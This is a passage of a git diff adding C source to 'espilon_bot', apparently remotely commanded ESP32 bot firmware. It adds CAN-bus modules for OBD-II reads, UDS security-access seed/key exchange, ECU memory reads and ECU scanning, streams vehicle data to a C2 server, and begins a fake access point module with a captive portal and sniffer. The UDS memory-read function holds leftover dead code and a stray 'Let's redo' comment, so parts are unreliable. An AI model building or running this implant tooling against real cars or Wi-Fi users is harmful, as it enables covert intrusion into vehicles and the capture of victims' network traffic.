/* PID 00: supported PIDs 01-20 */
|
||||
/* PID 20: supported PIDs 21-40 */
|
||||
/* PID 40: supported PIDs 41-60 */
|
||||
/* PID 60: supported PIDs 61-80 */
|
||||
|
||||
uint8_t range_pids[] = { 0x00, 0x20, 0x40, 0x60 };
|
||||
|
||||
for (int r = 0; r < 4; r++) {
|
||||
if (obd_transact(0x01, range_pids[r], resp, sizeof(resp), &resp_len) < 0) {
|
||||
break;
|
||||
}
|
||||
|
||||
if (resp_len < 6 || resp[0] != 0x41 || resp[1] != range_pids[r]) {
|
||||
break;
|
||||
}
|
||||
|
||||
/* 4 bytes = 32 bits, each bit = supported PID */
|
||||
uint32_t bitmap = ((uint32_t)resp[2] << 24)
|
||||
| ((uint32_t)resp[3] << 16)
|
||||
| ((uint32_t)resp[4] << 8)
|
||||
| (uint32_t)resp[5];
|
||||
|
||||
for (int bit = 0; bit < 32 && total < max_pids; bit++) {
|
||||
if (bitmap & (1U << (31 - bit))) {
|
||||
pids_out[total++] = range_pids[r] + bit + 1;
|
||||
}
|
||||
}
|
||||
|
||||
/* If last PID in range is not supported, no point checking next range */
|
||||
if (!(bitmap & 0x01)) break;
|
||||
}
|
||||
|
||||
return total;
|
||||
}
|
||||
|
||||
int obd_read_vin(char *vin_out, size_t cap)
|
||||
{
|
||||
if (!vin_out || cap < 18) return -1;
|
||||
|
||||
uint8_t req[2] = { 0x09, 0x02 }; /* Mode 09, PID 02 = VIN */
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 2,
|
||||
resp, sizeof(resp), &resp_len,
|
||||
3000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK) return -1;
|
||||
|
||||
/* Response: 0x49, 0x02, count, VIN (17 ASCII chars) */
|
||||
if (resp_len < 20 || resp[0] != 0x49 || resp[1] != 0x02) {
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* VIN starts at offset 3 (after 0x49, 0x02, count) */
|
||||
int vin_start = 3;
|
||||
int vin_len = (int)resp_len - vin_start;
|
||||
if (vin_len > 17) vin_len = 17;
|
||||
if (vin_len > (int)cap - 1) vin_len = (int)cap - 1;
|
||||
|
||||
memcpy(vin_out, &resp[vin_start], vin_len);
|
||||
vin_out[vin_len] = '\0';
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
int obd_read_dtcs(char *dtc_buf, size_t cap)
|
||||
{
|
||||
uint8_t req[1] = { 0x03 }; /* Mode 03: Request DTCs */
|
||||
uint8_t resp[128];
|
||||
size_t resp_len = 0;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
OBD_REQUEST_ID, OBD_RESPONSE_MIN,
|
||||
req, 1,
|
||||
resp, sizeof(resp), &resp_len,
|
||||
3000
|
||||
);
|
||||
|
||||
if (st != ISOTP_OK || resp_len < 1 || resp[0] != 0x43) {
|
||||
snprintf(dtc_buf, cap, "No DTCs or read error");
|
||||
return -1;
|
||||
}
|
||||
|
||||
int num_dtcs = resp[1]; /* Number of DTCs */
|
||||
if (num_dtcs == 0) {
|
||||
snprintf(dtc_buf, cap, "No DTCs stored");
|
||||
return 0;
|
||||
}
|
||||
|
||||
int off = 0;
|
||||
off += snprintf(dtc_buf + off, cap - off, "DTCs (%d): ", num_dtcs);
|
||||
|
||||
/* Each DTC is 2 bytes, starting at offset 2 */
|
||||
static const char dtc_prefixes[] = { 'P', 'C', 'B', 'U' };
|
||||
|
||||
for (int i = 0; i < num_dtcs && (2 + i * 2 + 1) < (int)resp_len; i++) {
|
||||
uint16_t raw = (resp[2 + i * 2] << 8) | resp[2 + i * 2 + 1];
|
||||
|
||||
char prefix = dtc_prefixes[(raw >> 14) & 0x03];
|
||||
int code = raw & 0x3FFF;
|
||||
|
||||
off += snprintf(dtc_buf + off, cap - off, "%c%04X ", prefix, code);
|
||||
if (off >= (int)cap - 8) break;
|
||||
}
|
||||
|
||||
return off;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Continuous Monitoring
|
||||
* ============================================================ */
|
||||
|
||||
static volatile bool s_monitor_running = false;
|
||||
static TaskHandle_t s_monitor_task = NULL;
|
||||
static uint8_t s_monitor_pids[16];
|
||||
static int s_monitor_pid_count = 0;
|
||||
static int s_monitor_interval = 1000;
|
||||
static const char *s_monitor_req_id = NULL;
|
||||
static SemaphoreHandle_t s_mon_mutex = NULL;
|
||||
|
||||
static void monitor_task(void *arg)
|
||||
{
|
||||
(void)arg;
|
||||
ESP_LOGI(TAG, "OBD monitor started: %d PIDs, %d ms interval",
|
||||
s_monitor_pid_count, s_monitor_interval);
|
||||
|
||||
while (s_monitor_running) {
|
||||
for (int i = 0; i < s_monitor_pid_count && s_monitor_running; i++) {
|
||||
obd_result_t result;
|
||||
if (obd_query_pid(0x01, s_monitor_pids[i], &result) == 0) {
|
||||
char line[96];
|
||||
snprintf(line, sizeof(line), "OBD|%s|%.1f|%s",
|
||||
result.name, result.value, result.unit);
|
||||
msg_data(TAG, line, strlen(line), false, s_monitor_req_id);
|
||||
}
|
||||
}
|
||||
vTaskDelay(pdMS_TO_TICKS(s_monitor_interval));
|
||||
}
|
||||
|
||||
ESP_LOGI(TAG, "OBD monitor stopped");
|
||||
s_monitor_task = NULL;
|
||||
vTaskDelete(NULL);
|
||||
}
|
||||
|
||||
void obd_monitor_start(const uint8_t *pids, int pid_count,
|
||||
int interval_ms, const char *request_id)
|
||||
{
|
||||
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
|
||||
if (s_monitor_running) {
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
obd_monitor_stop();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
}
|
||||
|
||||
if (pid_count > 16) pid_count = 16;
|
||||
memcpy(s_monitor_pids, pids, pid_count);
|
||||
s_monitor_pid_count = pid_count;
|
||||
s_monitor_interval = (interval_ms > 0) ? interval_ms : 1000;
|
||||
s_monitor_req_id = request_id;
|
||||
s_monitor_running = true;
|
||||
|
||||
xTaskCreatePinnedToCore(
|
||||
monitor_task, "obd_mon", 4096, NULL, 3, &s_monitor_task, 1
|
||||
);
|
||||
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
}
|
||||
|
||||
void obd_monitor_stop(void)
|
||||
{
|
||||
if (!s_mon_mutex) s_mon_mutex = xSemaphoreCreateMutex();
|
||||
xSemaphoreTake(s_mon_mutex, portMAX_DELAY);
|
||||
s_monitor_running = false;
|
||||
xSemaphoreGive(s_mon_mutex);
|
||||
|
||||
for (int i = 0; i < 20 && s_monitor_task != NULL; i++) {
|
||||
vTaskDelay(pdMS_TO_TICKS(50));
|
||||
}
|
||||
}
|
||||
|
||||
bool obd_monitor_is_running(void)
|
||||
{
|
||||
return s_monitor_running;
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_OBD */
|
||||
48
espilon_bot/components/mod_canbus/canbus_obd.h
Normal file
48
espilon_bot/components/mod_canbus/canbus_obd.h
Normal file
@ -0,0 +1,48 @@
|
||||
/*
|
||||
* canbus_obd.h
|
||||
* OBD-II (ISO 15031) PID decoder over ISO-TP.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
#include <stdbool.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* Standard OBD-II CAN IDs */
|
||||
#define OBD_REQUEST_ID 0x7DF /* Broadcast functional request */
|
||||
#define OBD_RESPONSE_MIN 0x7E8
|
||||
#define OBD_RESPONSE_MAX 0x7EF
|
||||
|
||||
/* Decoded PID result */
|
||||
typedef struct {
|
||||
uint8_t pid;
|
||||
float value;
|
||||
const char *unit; /* "rpm", "km/h", "C", etc. */
|
||||
const char *name; /* "Engine RPM", "Vehicle Speed", etc. */
|
||||
} obd_result_t;
|
||||
|
||||
/* Query a single PID (Mode 01). Returns 0 on success, -1 on error. */
|
||||
int obd_query_pid(uint8_t mode, uint8_t pid, obd_result_t *out);
|
||||
|
||||
/* Query supported PIDs (Mode 01, PID 00/20/40/60). Returns count. */
|
||||
int obd_query_supported(uint8_t pids_out[], int max_pids);
|
||||
|
||||
/* Read Vehicle Identification Number (Mode 09, PID 02). Returns 0 or -1. */
|
||||
int obd_read_vin(char *vin_out, size_t cap);
|
||||
|
||||
/* Read Diagnostic Trouble Codes (Mode 03). Returns formatted string length. */
|
||||
int obd_read_dtcs(char *dtc_buf, size_t cap);
|
||||
|
||||
/* Continuous monitoring: stream PIDs to C2 at interval */
|
||||
void obd_monitor_start(const uint8_t *pids, int pid_count,
|
||||
int interval_ms, const char *request_id);
|
||||
void obd_monitor_stop(void);
|
||||
bool obd_monitor_is_running(void);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
343
espilon_bot/components/mod_canbus/canbus_uds.c
Normal file
343
espilon_bot/components/mod_canbus/canbus_uds.c
Normal file
@ -0,0 +1,343 @@
|
||||
/*
|
||||
* canbus_uds.c
|
||||
* UDS (ISO 14229) diagnostic services implementation.
|
||||
*
|
||||
* Each function builds a UDS payload, sends via ISO-TP,
|
||||
* parses the response (positive = SID+0x40, negative = 0x7F+SID+NRC).
|
||||
* Handles NRC 0x78 (ResponsePending) with extended timeout.
|
||||
*/
|
||||
#include "sdkconfig.h"
|
||||
|
||||
#if defined(CONFIG_MODULE_CANBUS) && defined(CONFIG_CANBUS_UDS)
|
||||
|
||||
#include <string.h>
|
||||
#include "esp_log.h"
|
||||
#include "freertos/FreeRTOS.h"
|
||||
#include "freertos/task.h"
|
||||
|
||||
#include "canbus_uds.h"
|
||||
#include "canbus_isotp.h"
|
||||
#include "canbus_driver.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CAN_UDS"
|
||||
|
||||
/* Max retries for ResponsePending (NRC 0x78) */
|
||||
#define MAX_PENDING_RETRIES 10
|
||||
#define PENDING_TIMEOUT_MS 5000
|
||||
|
||||
/* ============================================================
|
||||
* Internal: UDS request with ResponsePending handling
|
||||
* ============================================================ */
|
||||
|
||||
static int uds_transact(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
int timeout = ctx->timeout_ms > 0 ? ctx->timeout_ms : 2000;
|
||||
|
||||
for (int retry = 0; retry <= MAX_PENDING_RETRIES; retry++) {
|
||||
int t = (retry == 0) ? timeout : PENDING_TIMEOUT_MS;
|
||||
|
||||
isotp_status_t st = isotp_request(
|
||||
ctx->tx_id, ctx->rx_id,
|
||||
req, req_len,
|
||||
resp, resp_cap, resp_len,
|
||||
t
|
||||
);
|
||||
|
||||
if (st == ISOTP_TIMEOUT) {
|
||||
if (retry > 0) {
|
||||
ESP_LOGW(TAG, "ResponsePending timeout after %d retries", retry);
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
if (st != ISOTP_OK) return -1;
|
||||
|
||||
/* Check for Negative Response */
|
||||
if (*resp_len >= 3 && resp[0] == 0x7F) {
|
||||
uint8_t nrc = resp[2];
|
||||
|
||||
/* ResponsePending — ECU needs more time */
|
||||
if (nrc == UDS_NRC_RESPONSE_PENDING) {
|
||||
ESP_LOGI(TAG, "ResponsePending from 0x%03lX (retry %d/%d)",
|
||||
(unsigned long)ctx->rx_id, retry + 1, MAX_PENDING_RETRIES);
|
||||
/* Re-listen for the real response (no re-send needed) */
|
||||
*resp_len = 0;
|
||||
isotp_status_t st2 = isotp_recv(
|
||||
ctx->rx_id, resp, resp_cap, resp_len, PENDING_TIMEOUT_MS
|
||||
);
|
||||
if (st2 == ISOTP_TIMEOUT) continue; /* Try again */
|
||||
if (st2 != ISOTP_OK) return -1;
|
||||
|
||||
/* Check if we got another NRC 0x78 or the real response */
|
||||
if (*resp_len >= 3 && resp[0] == 0x7F && resp[2] == UDS_NRC_RESPONSE_PENDING) {
|
||||
continue; /* Still pending */
|
||||
}
|
||||
/* Got the real response, fall through to return */
|
||||
}
|
||||
|
||||
/* Other negative responses */
|
||||
if (resp[0] == 0x7F && resp[2] != UDS_NRC_RESPONSE_PENDING) {
|
||||
ESP_LOGW(TAG, "NRC 0x%02X (%s) for SID 0x%02X from 0x%03lX",
|
||||
resp[2], uds_nrc_name(resp[2]), resp[1],
|
||||
(unsigned long)ctx->rx_id);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
/* Positive response or parsed NRC */
|
||||
return (int)*resp_len;
|
||||
}
|
||||
|
||||
return -1;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* Public API
|
||||
* ============================================================ */
|
||||
|
||||
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type)
|
||||
{
|
||||
uint8_t req[2] = { UDS_DIAG_SESSION_CTRL, session_type };
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive response: 0x50 + session type */
|
||||
if (resp_len >= 2 && resp[0] == (UDS_DIAG_SESSION_CTRL + 0x40)) {
|
||||
ctx->session = session_type;
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_tester_present(uds_ctx_t *ctx)
|
||||
{
|
||||
uint8_t req[2] = { UDS_TESTER_PRESENT, 0x00 }; /* subFunction = 0 */
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
if (resp_len >= 2 && resp[0] == (UDS_TESTER_PRESENT + 0x40)) {
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
|
||||
uint8_t *out, size_t cap)
|
||||
{
|
||||
uint8_t req[3] = {
|
||||
UDS_READ_DATA_BY_ID,
|
||||
(uint8_t)(did >> 8),
|
||||
(uint8_t)(did & 0xFF),
|
||||
};
|
||||
uint8_t resp[512];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 3, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x62 + DID (2 bytes) + data */
|
||||
if (resp_len >= 3 && resp[0] == (UDS_READ_DATA_BY_ID + 0x40)) {
|
||||
size_t data_len = resp_len - 3;
|
||||
if (data_len > cap) data_len = cap;
|
||||
memcpy(out, &resp[3], data_len);
|
||||
return (int)data_len;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
|
||||
uint8_t *seed, size_t *seed_len)
|
||||
{
|
||||
/* Seed request: odd subFunction (level = 0x01, 0x03, ...) */
|
||||
uint8_t req[2] = { UDS_SECURITY_ACCESS, level };
|
||||
uint8_t resp[64];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x67 + level + seed bytes */
|
||||
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
|
||||
size_t slen = resp_len - 2;
|
||||
if (seed && seed_len) {
|
||||
memcpy(seed, &resp[2], slen);
|
||||
*seed_len = slen;
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
|
||||
const uint8_t *key, size_t key_len)
|
||||
{
|
||||
/* Key send: even subFunction (level+1 = 0x02, 0x04, ...) */
|
||||
uint8_t req[34] = { UDS_SECURITY_ACCESS, (uint8_t)(level + 1) };
|
||||
if (key_len > 32) return -1;
|
||||
memcpy(&req[2], key, key_len);
|
||||
|
||||
uint8_t resp[16];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, req, 2 + key_len, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
if (resp_len >= 2 && resp[0] == (UDS_SECURITY_ACCESS + 0x40)) {
|
||||
ctx->security_unlocked = true;
|
||||
return 0;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
|
||||
uint8_t *out)
|
||||
{
|
||||
/* addressAndLengthFormatIdentifier: 0x24 = 2 bytes size, 4 bytes addr */
|
||||
uint8_t req[7] = {
|
||||
UDS_READ_MEM_BY_ADDR,
|
||||
0x24, /* format: 2+4 */
|
||||
(uint8_t)(addr >> 24),
|
||||
(uint8_t)(addr >> 16),
|
||||
(uint8_t)(addr >> 8),
|
||||
(uint8_t)(addr),
|
||||
(uint8_t)(size >> 8),
|
||||
};
|
||||
/* Append size low byte */
|
||||
uint8_t req_full[8];
|
||||
memcpy(req_full, req, 7);
|
||||
req_full[7] = (uint8_t)(size & 0xFF);
|
||||
|
||||
/* Wait — need proper format. Let's redo:
|
||||
* SID(1) + addressAndLengthFormatId(1) + memAddr(4) + memSize(2) = 8 bytes */
|
||||
uint8_t request[8] = {
|
||||
UDS_READ_MEM_BY_ADDR,
|
||||
0x24,
|
||||
(uint8_t)(addr >> 24),
|
||||
(uint8_t)(addr >> 16),
|
||||
(uint8_t)(addr >> 8),
|
||||
(uint8_t)(addr),
|
||||
(uint8_t)(size >> 8),
|
||||
(uint8_t)(size),
|
||||
};
|
||||
|
||||
uint8_t resp[512];
|
||||
size_t resp_len = 0;
|
||||
|
||||
int ret = uds_transact(ctx, request, 8, resp, sizeof(resp), &resp_len);
|
||||
if (ret < 0) return -1;
|
||||
|
||||
/* Positive: 0x63 + data */
|
||||
if (resp_len >= 1 && resp[0] == (UDS_READ_MEM_BY_ADDR + 0x40)) {
|
||||
size_t data_len = resp_len - 1;
|
||||
if (out) memcpy(out, &resp[1], data_len);
|
||||
return (int)data_len;
|
||||
}
|
||||
return -1;
|
||||
}
|
||||
|
||||
int uds_raw_request(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len)
|
||||
{
|
||||
return uds_transact(ctx, req, req_len, resp, resp_cap, resp_len);
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* ECU Discovery
|
||||
* ============================================================ */
|
||||
|
||||
int uds_scan_ecus(uint32_t *found_ids, int max_ecus)
|
||||
{
|
||||
int found = 0;
|
||||
|
||||
/* Standard UDS range: 0x7E0-0x7E7 (physical addressing) */
|
||||
for (uint32_t tx = 0x7E0; tx <= 0x7E7 && found < max_ecus; tx++) {
|
||||
uint32_t rx = tx + 0x08; /* Response IDs: 0x7E8-0x7EF */
|
||||
|
||||
uds_ctx_t ctx = {
|
||||
.tx_id = tx,
|
||||
.rx_id = rx,
|
||||
.timeout_ms = 200, /* Short timeout for scan */
|
||||
.session = UDS_SESSION_DEFAULT,
|
||||
.security_unlocked = false,
|
||||
};
|
||||
|
||||
if (uds_tester_present(&ctx) == 0) {
|
||||
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
|
||||
(unsigned long)tx, (unsigned long)rx);
|
||||
found_ids[found++] = tx;
|
||||
}
|
||||
}
|
||||
|
||||
/* Extended range: 0x700-0x7DF */
|
||||
for (uint32_t tx = 0x700; tx <= 0x7DF && found < max_ecus; tx++) {
|
||||
/* Skip standard range (already scanned) */
|
||||
if (tx >= 0x7E0) break;
|
||||
|
||||
uint32_t rx = tx + 0x08;
|
||||
|
||||
uds_ctx_t ctx = {
|
||||
.tx_id = tx,
|
||||
.rx_id = rx,
|
||||
.timeout_ms = 100,
|
||||
.session = UDS_SESSION_DEFAULT,
|
||||
.security_unlocked = false,
|
||||
};
|
||||
|
||||
if (uds_tester_present(&ctx) == 0) {
|
||||
ESP_LOGI(TAG, "ECU found: TX=0x%03lX RX=0x%03lX",
|
||||
(unsigned long)tx, (unsigned long)rx);
|
||||
found_ids[found++] = tx;
|
||||
}
|
||||
|
||||
/* Yield every 16 IDs to avoid watchdog */
|
||||
if ((tx & 0x0F) == 0x0F) {
|
||||
vTaskDelay(pdMS_TO_TICKS(1));
|
||||
}
|
||||
}
|
||||
|
||||
return found;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* NRC Name Lookup
|
||||
* ============================================================ */
|
||||
|
||||
const char *uds_nrc_name(uint8_t nrc)
|
||||
{
|
||||
switch (nrc) {
|
||||
case 0x10: return "generalReject";
|
||||
case 0x11: return "serviceNotSupported";
|
||||
case 0x12: return "subFunctionNotSupported";
|
||||
case 0x13: return "incorrectMessageLength";
|
||||
case 0x14: return "responseTooLong";
|
||||
case 0x21: return "busyRepeatRequest";
|
||||
case 0x22: return "conditionsNotCorrect";
|
||||
case 0x24: return "requestSequenceError";
|
||||
case 0x25: return "noResponseFromSubnet";
|
||||
case 0x26: return "failurePreventsExecution";
|
||||
case 0x31: return "requestOutOfRange";
|
||||
case 0x33: return "securityAccessDenied";
|
||||
case 0x35: return "invalidKey";
|
||||
case 0x36: return "exceededNumberOfAttempts";
|
||||
case 0x37: return "requiredTimeDelayNotExpired";
|
||||
case 0x70: return "uploadDownloadNotAccepted";
|
||||
case 0x71: return "transferDataSuspended";
|
||||
case 0x72: return "generalProgrammingFailure";
|
||||
case 0x73: return "wrongBlockSequenceCounter";
|
||||
case 0x78: return "responsePending";
|
||||
case 0x7E: return "subFunctionNotSupportedInActiveSession";
|
||||
case 0x7F: return "serviceNotSupportedInActiveSession";
|
||||
default: return "unknown";
|
||||
}
|
||||
}
|
||||
|
||||
#endif /* CONFIG_MODULE_CANBUS && CONFIG_CANBUS_UDS */
|
||||
101
espilon_bot/components/mod_canbus/canbus_uds.h
Normal file
101
espilon_bot/components/mod_canbus/canbus_uds.h
Normal file
@ -0,0 +1,101 @@
|
||||
/*
|
||||
* canbus_uds.h
|
||||
* UDS (ISO 14229) diagnostic services over ISO-TP.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
#include <stdint.h>
|
||||
#include <stddef.h>
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/* ============================================================
|
||||
* UDS Service IDs
|
||||
* ============================================================ */
|
||||
#define UDS_DIAG_SESSION_CTRL 0x10
|
||||
#define UDS_ECU_RESET 0x11
|
||||
#define UDS_CLEAR_DTC 0x14
|
||||
#define UDS_READ_DTC_INFO 0x19
|
||||
#define UDS_READ_DATA_BY_ID 0x22
|
||||
#define UDS_READ_MEM_BY_ADDR 0x23
|
||||
#define UDS_SECURITY_ACCESS 0x27
|
||||
#define UDS_COMM_CTRL 0x28
|
||||
#define UDS_WRITE_DATA_BY_ID 0x2E
|
||||
#define UDS_IO_CTRL 0x2F
|
||||
#define UDS_ROUTINE_CTRL 0x31
|
||||
#define UDS_REQUEST_DOWNLOAD 0x34
|
||||
#define UDS_REQUEST_UPLOAD 0x35
|
||||
#define UDS_TRANSFER_DATA 0x36
|
||||
#define UDS_TRANSFER_EXIT 0x37
|
||||
#define UDS_TESTER_PRESENT 0x3E
|
||||
|
||||
/* Session types */
|
||||
#define UDS_SESSION_DEFAULT 0x01
|
||||
#define UDS_SESSION_PROGRAMMING 0x02
|
||||
#define UDS_SESSION_EXTENDED 0x03
|
||||
|
||||
/* Negative Response Codes */
|
||||
#define UDS_NRC_GENERAL_REJECT 0x10
|
||||
#define UDS_NRC_SERVICE_NOT_SUPPORTED 0x11
|
||||
#define UDS_NRC_SUBFUNCTION_NOT_SUPPORTED 0x12
|
||||
#define UDS_NRC_INCORRECT_LENGTH 0x13
|
||||
#define UDS_NRC_RESPONSE_PENDING 0x78
|
||||
#define UDS_NRC_SECURITY_ACCESS_DENIED 0x33
|
||||
#define UDS_NRC_INVALID_KEY 0x35
|
||||
#define UDS_NRC_EXCEEDED_ATTEMPTS 0x36
|
||||
#define UDS_NRC_CONDITIONS_NOT_MET 0x22
|
||||
|
||||
/* ============================================================
|
||||
* UDS Context
|
||||
* ============================================================ */
|
||||
|
||||
typedef struct {
|
||||
uint32_t tx_id; /* Request CAN ID (e.g. 0x7E0) */
|
||||
uint32_t rx_id; /* Response CAN ID (e.g. 0x7E8) */
|
||||
int timeout_ms; /* Response timeout */
|
||||
uint8_t session; /* Current session type */
|
||||
bool security_unlocked;
|
||||
} uds_ctx_t;
|
||||
|
||||
/* ============================================================
|
||||
* High-Level UDS API
|
||||
* ============================================================ */
|
||||
|
||||
/* DiagnosticSessionControl (0x10) */
|
||||
int uds_diagnostic_session(uds_ctx_t *ctx, uint8_t session_type);
|
||||
|
||||
/* TesterPresent (0x3E) — keep-alive */
|
||||
int uds_tester_present(uds_ctx_t *ctx);
|
||||
|
||||
/* ReadDataByIdentifier (0x22) — returns data length or -1 */
|
||||
int uds_read_data_by_id(uds_ctx_t *ctx, uint16_t did,
|
||||
uint8_t *out, size_t cap);
|
||||
|
||||
/* SecurityAccess (0x27) — request seed */
|
||||
int uds_security_access_seed(uds_ctx_t *ctx, uint8_t level,
|
||||
uint8_t *seed, size_t *seed_len);
|
||||
|
||||
/* SecurityAccess (0x27) — send key */
|
||||
int uds_security_access_key(uds_ctx_t *ctx, uint8_t level,
|
||||
const uint8_t *key, size_t key_len);
|
||||
|
||||
/* ReadMemoryByAddress (0x23) — returns data length or -1 */
|
||||
int uds_read_memory(uds_ctx_t *ctx, uint32_t addr, uint16_t size,
|
||||
uint8_t *out);
|
||||
|
||||
/* Raw UDS request — returns response length or -1 */
|
||||
int uds_raw_request(uds_ctx_t *ctx,
|
||||
const uint8_t *req, size_t req_len,
|
||||
uint8_t *resp, size_t resp_cap, size_t *resp_len);
|
||||
|
||||
/* ECU discovery: send TesterPresent to 0x7E0-0x7EF, report responders */
|
||||
int uds_scan_ecus(uint32_t *found_ids, int max_ecus);
|
||||
|
||||
/* Get human-readable NRC name */
|
||||
const char *uds_nrc_name(uint8_t nrc);
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
1363
espilon_bot/components/mod_canbus/cmd_canbus.c
Normal file
1363
espilon_bot/components/mod_canbus/cmd_canbus.c
Normal file
File diff suppressed because it is too large
Load Diff
7
espilon_bot/components/mod_canbus/cmd_canbus.h
Normal file
7
espilon_bot/components/mod_canbus/cmd_canbus.h
Normal file
@ -0,0 +1,7 @@
|
||||
/*
|
||||
* cmd_canbus.h
|
||||
* CAN bus module — C2 command interface.
|
||||
*/
|
||||
#pragma once
|
||||
|
||||
void mod_canbus_register_commands(void);
|
||||
4
espilon_bot/components/mod_fakeAP/CMakeLists.txt
Normal file
4
espilon_bot/components/mod_fakeAP/CMakeLists.txt
Normal file
@ -0,0 +1,4 @@
|
||||
idf_component_register(SRCS "cmd_fakeAP.c" "mod_web_server.c" "mod_fakeAP.c" "mod_netsniff.c"
|
||||
INCLUDE_DIRS .
|
||||
REQUIRES esp_http_server
|
||||
PRIV_REQUIRES esp_netif lwip esp_wifi esp_event nvs_flash core)
|
||||
287
espilon_bot/components/mod_fakeAP/cmd_fakeAP.c
Normal file
287
espilon_bot/components/mod_fakeAP/cmd_fakeAP.c
Normal file
@ -0,0 +1,287 @@
|
||||
/*
|
||||
* cmd_fakeAP.c
|
||||
* Refactored for new command system
|
||||
*/
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdbool.h>
|
||||
#include <stdatomic.h>
|
||||
|
||||
#include "esp_log.h"
|
||||
|
||||
#include "fakeAP_utils.h"
|
||||
#include "utils.h"
|
||||
|
||||
#define TAG "CMD_FAKEAP"
|
||||
|
||||
/* ============================================================
|
||||
* State
|
||||
* ============================================================ */
|
||||
atomic_bool fakeap_active = false;
|
||||
static bool portal_running = false;
|
||||
static bool sniffer_running = false;
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_start <ssid> [open|wpa2] [password]
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_start(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)ctx;
|
||||
|
||||
if (argc < 1) {
|
||||
msg_error(TAG,
|
||||
"usage: fakeap_start <ssid> [open|wpa2] [password]",
|
||||
req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (fakeap_active) {
|
||||
msg_error(TAG, "FakeAP already running", req);
|
||||
return -1;
|
||||
}
|
||||
|
||||
const char *ssid = argv[0];
|
||||
bool open = true;
|
||||
const char *password = NULL;
|
||||
|
||||
if (argc >= 2) {
|
||||
if (!strcmp(argv[1], "open")) {
|
||||
open = true;
|
||||
} else if (!strcmp(argv[1], "wpa2")) {
|
||||
open = false;
|
||||
if (argc < 3) {
|
||||
msg_error(TAG, "WPA2 password required", req);
|
||||
return -1;
|
||||
}
|
||||
password = argv[2];
|
||||
} else {
|
||||
msg_error(TAG, "Unknown security mode", req);
|
||||
return -1;
|
||||
}
|
||||
}
|
||||
|
||||
start_access_point(ssid, password, open);
|
||||
fakeap_active = true;
|
||||
|
||||
msg_info(TAG, "FakeAP started", req);
|
||||
return 0;
|
||||
}
|
||||
|
||||
/* ============================================================
|
||||
* COMMAND: fakeap_stop
|
||||
* ============================================================ */
|
||||
static int cmd_fakeap_stop(
|
||||
int argc,
|
||||
char **argv,
|
||||
const char *req,
|
||||
void *ctx
|
||||
) {
|
||||
(void)argc;
|
||||
